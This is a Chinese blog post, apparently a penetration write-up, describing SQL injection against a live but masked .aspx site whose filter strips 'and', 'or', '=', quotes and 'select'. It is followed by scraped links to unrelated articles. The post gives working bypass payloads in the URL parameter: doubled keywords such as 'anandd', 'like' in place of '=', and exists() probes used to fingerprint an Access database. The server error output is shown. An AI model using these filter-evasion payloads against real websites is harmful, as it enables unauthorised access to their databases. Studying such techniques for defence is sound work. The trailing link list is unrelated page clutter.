过滤'and','or' ''' '*' '=' ‘select’下的注入
遇到一个站:http://www.马赛克.net/intro.aspx?id=6
加了单引号 http://www.马赛克.net/intro.aspx?id=6‘ 页面无变化
加了双引号 http://www.马赛克.net/intro.aspx?id=6" 报错
符串的语法错误 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6" ) order by id_sort' 中。
可以看到 注入点 在()中
测试 and 1=1 and 1=2 or 1=1 报错
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 11 )' 中
可以看到 and or = 等关键字 被”吃掉了“
经测试 并没有进行循环查找过滤 and or 等字符
绕后方法 anandd oror And(大小写)
http://www.马赛克.net/intro.aspx?id=6 anandd 1=1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1=2 返回也正常
因为知道 = 也被“吃掉”了 所以用 'like' 代替
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2 返回也正常
--------------------
http://www.马赛克.net/intro.aspx?id=6 anandd exists(select id from sysobjects) 报错 select 也被“吃掉”了
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 and exists( id from sysobjects) )' 中。
紧接着,我在在数据库版本上花了很多时间 第一直觉认为是 aspx + mssql 组合
然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜 得出结论是 access数据库
--------------------
知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力 并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据
由于表的组合比较变态 tab_intro_info 也就没有继续猜下去
过滤'and','or' ''' '*' '=' ‘select’下的注入的更多相关文章
- Mssql显错和不显错模式下的注入
Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...
- 简述Object(ActiveX)控件遮挡Dialog、select下拉框的解决办法
1.背景 最近在做项目的过程中,我们使用了Object控件,但是同时在上面写了一个select下拉框,因此每次点击下拉框的时候我们会发现,下拉框的部分内容被Object控件给遮挡了,调查研究后发现,我 ...
- 实现select下拉框的无限加载(懒加载)
在实际开发中我们有时无法避免select下拉功能数据过大导致页面卡顿(如在我在一次迭代中有一个select项接口返回了5000多条数据).用户体验差!结合实际开发给出了3个解决方案: 方案1.sele ...
- s:select下拉框validation验证
S:select下拉框验证: <td colspan="5"> <s:select name="vo.typeVO.corp" list=&q ...
- 自定义样式的select下拉框深入探索
第一个版本: 首先实现自定义select下拉框应该具有的功能,我是选择将原来的select隐藏掉,自己在jquery代码中动态写进去<dl><dd><dt>这样的结 ...
- jquery取消选择select下拉框
有三个select下拉框一个大类,两个小类隐藏,需要在选择大类的时候,小类显示同时清除另外的小类选择的项这需求有点儿.......... 下面是三个select: <select name=&q ...
- css解决select下拉表单option高度的办法
css在给select下拉表单设置样式如边框时可以轻松搞定,而我们在不喜欢其默认的下拉箭头的样式时试图通过background:url(图片路径)来修改之,则往往会出现浏览器的兼容性问题,在网上查了好 ...
- jQuery插件:模拟select下拉菜单
没搞那么复杂,工作中,基本够用.. <!doctype html> <html> <head> <meta charset="utf-8" ...
- html select 下拉箭头隐藏
html select 下拉箭头隐藏 <!DOCTYPE html> <html> <head lang="en"> <meta char ...
随机推荐
- NX二次开发-NXOpen::Drawings::DrawingSheet Class Reference
NX11+VS2013 #include <NXOpen/Section.hxx> #include <NXOpen/SectionCollection.hxx> #inclu ...
- codeforces 447E or 446C 线段树 + fib性质或二次剩余性质
CF446C题意: 给你一个数列\(a_i\),有两种操作:区间求和:\(\sum_{i=l}^{r}(a[i]+=fib[i-l+1])\).\(fib\)是斐波那契数列. 思路 (一) codef ...
- 51nod 1437 迈克步——单调栈
有n只熊.他们站成一排队伍,从左到右依次1到n编号.第i只熊的高度是ai. 一组熊指的队伍中连续的一个子段.组的大小就是熊的数目.而组的力量就是这一组熊中最小的高度. 迈克想知道对于所有的组大小为x( ...
- golang 读取 ini配置信息
package main //BY: 29295842@qq.com//这个有一定问题 如果配置信息里有中文就不行//[Server] ;MYSQL配置//Server=localhost ...
- CSS:CSS 图像透明/不透明
ylbtech-CSS:CSS 图像透明/不透明 1.返回顶部 1. CSS 图像透明/不透明 使用CSS很容易创建透明的图像. 注意:CSS Opacity属性是W3C的CSS3建议的一部分. 更多 ...
- 数据可视化(Echart) :柱状图、折线图、饼图等六种基本图表的特点及适用场合
数据可视化(Echart) 柱状图.折线图.饼图等六种基本图表的特点及适用场合 参考网址 效果图 源码 <!DOCTYPE html> <html> <head> ...
- 戏说 .NET GDI+系列学习教程(三、Graphics类的方法的总结)
- $.ajax(),传参要用data
$("#modal").find(".btn-primary").unbind("click").click(function(){ var ...
- MySQL之explain命令解释
explain显示了mysql如何使用索引来处理select语句以及连接表.可以帮助选择更好的索引和写出更优化的查询语句. 使用方法,在select语句前加上explain就可以了.如: explai ...
- ajax 回传参数
JSONObject json = new JSONObject(); json.put("msg", msg); json.put("success", co ...